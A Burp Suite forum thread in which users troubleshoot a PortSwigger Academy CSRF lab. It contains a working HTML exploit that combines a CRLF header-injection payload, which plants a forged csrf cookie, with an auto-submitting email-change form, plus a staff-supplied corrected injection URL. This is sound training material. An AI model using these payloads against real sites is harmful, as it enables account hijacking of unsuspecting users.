Burp Suite User Forum

Create new post

Academy: CSRF token is simply duplicated in a cookie

Heber | Last updated: Oct 10, 2022 07:00PM UTC

Hello. I've been struggling to resolve a few CSRF challenges, as for example "CSRF token is simply duplicated in a cookie" I think I understand the vulnerability and how to exploit it, I followed carefully all steps on community solutions but still not succeeded on this one. Can you please review my exploit at the end? When intercepting the traffic of "View Exploit", I see the Set-Cookie on server's response, but somehow the cookie value on user's browser is not updated, as the following request contains the original value and as a consequence I get the error "Invalid CSRF token". Am I missing anything? Any help you be much appreciated ### SERVER RESPONSE ### HTTP/1.1 200 OK Set-Cookie: LastSearchTerm=blabla Set-Cookie: csrf=fakeblabla; Secure; HttpOnly ### EXPLOIT ### <html> <body> <form action="https://0a2c008c0319726ec02b754900c70062.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="whacked@email.com"/> <input type="hidden" name="csrf" value="fakeblabla"/> </form> </body> <img src="https://0a2c008c0319726ec02b754900c70062.web-security-academy.net/?search=blabla%0d%0aSet-Cookie%3a%20csrf=fakeblabla" onerror="document.forms[0].submit()"> </html>

Urmalveer | Last updated: Oct 11, 2022 05:48AM UTC

If you are using firefox (which most probably you will be) then open firefox settings and navigate to Privacy & Security and under Browser Privacy section select custom (standard is selected by default) and uncheck Cookies box. This will allow cross site cookies which are being blocked by firefox by default. If you are using any another browser, there must be similar settings to allow cross site cookies. Hope this helps. :)

Heber | Last updated: Oct 11, 2022 01:15PM UTC

Thanks for the hint, Urmalveer. That setting did the trick and I was able to see the password change on my own browser on "View Exploit". On the other hand I was still not able to solve the lab when delivering the exploit to victim. Any ideas why the outcome would be different when the user access the exploit and the password is not changed?

Michelle, PortSwigger Agent | Last updated: Oct 11, 2022 02:21PM UTC

Thanks for your message. There has been a recent change to the exploit server, so you'll need to add an extra bit to the $cookie-injection-url, so it includes SameSite=None, we'll be updating the solution soon. https://<your-lab-id>/?search=test%0d%0aSet-Cookie:%20csrf=fake;%20SameSite=None

Heber | Last updated: Oct 11, 2022 07:44PM UTC

Hello Michelle, thank you very much for verifying this, I was now able to solve the lab using SameSite=None.

dani | Last updated: Apr 29, 2023 09:34PM UTC

It worked for me, after hours going crazy not knowing why the value of the csrf cookie was not changing. Did you make sure to change the email address from the one you viewed the exploit with?

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.